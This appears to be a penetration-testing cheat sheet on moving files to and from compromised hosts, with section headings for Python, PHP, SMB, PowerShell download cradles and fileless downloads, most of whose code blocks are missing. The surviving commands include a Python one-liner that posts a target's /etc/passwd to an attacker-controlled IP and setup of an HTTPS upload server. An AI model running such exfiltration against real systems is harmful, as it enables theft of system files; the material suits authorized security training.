File Transfers

Uploading

Python3


Starting the Python uploadserver Module

python3 -m uploadserver

Uploading a File Using a Python One-liner

python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'

HTTPS

sudo python3 -m pip install --user uploadserver

Pwnbox - Create a Self-Signed Certificate

openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'

Pwnbox - Start Web Server

mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate ./server.pem

Linux - Upload Multiple Files

Alternative Web File Transfer Method


Linux - Creating a Web Server with Python3

Linux - Creating a Web Server with Python2.7

Linux - Creating a Web Server with PHP

Linux - Creating a Web Server with Ruby

Download the File from the Target Machine

SMB

Configuring WebDav Server

Connect from Windows

Uploading Files using SMB

Impacket Server

  • Then from the Windows machine, mount the share:

Powershell

Installing a Configured WebServer with Upload

PowerShell Script to Upload a File to Python Upload Server

PowerShell Base64 Web Upload

  • We can listen with netcat and then send a post request from our target to our machine with the file b64 encoded, then grab that post data from our server log

  • On our machine:

  • Decode:

Downloading

Python


FTP

Python 2 - Download

Python 3 - Download

PHP


PHP Download with File_get_contents()

PHP Download with Fopen()

PHP Download a File and Pipe it to Bash

Ruby


Ruby - Download a File

Perl


Perl - Download a File

JavaScript


Download a File Using JavaScript and cscript.exe

VBScript


Download a File Using VBScript and cscript.exe

Download a File Using wget

Download a File Using cURL

Fileless Attacks Using Linux


Fileless Download with cURL

Fileless Download with wget

SMB


Create SMB Server

Copy file from server (cmd)

Newer versions of windows block unauthenticated SMB shares, we can create one with user and pass:

Mount SMB share with u/p

Powershell


PowerShell DownloadFile Method

PowerShell DownloadString - Fileless Method

  • runs from memory

PowerShell Invoke-WebRequest

Powershell download cradles

Occasionally IE first-launch has not run (IE engine not available), bypass with -UseBasicParsing

TLS Error

Last updated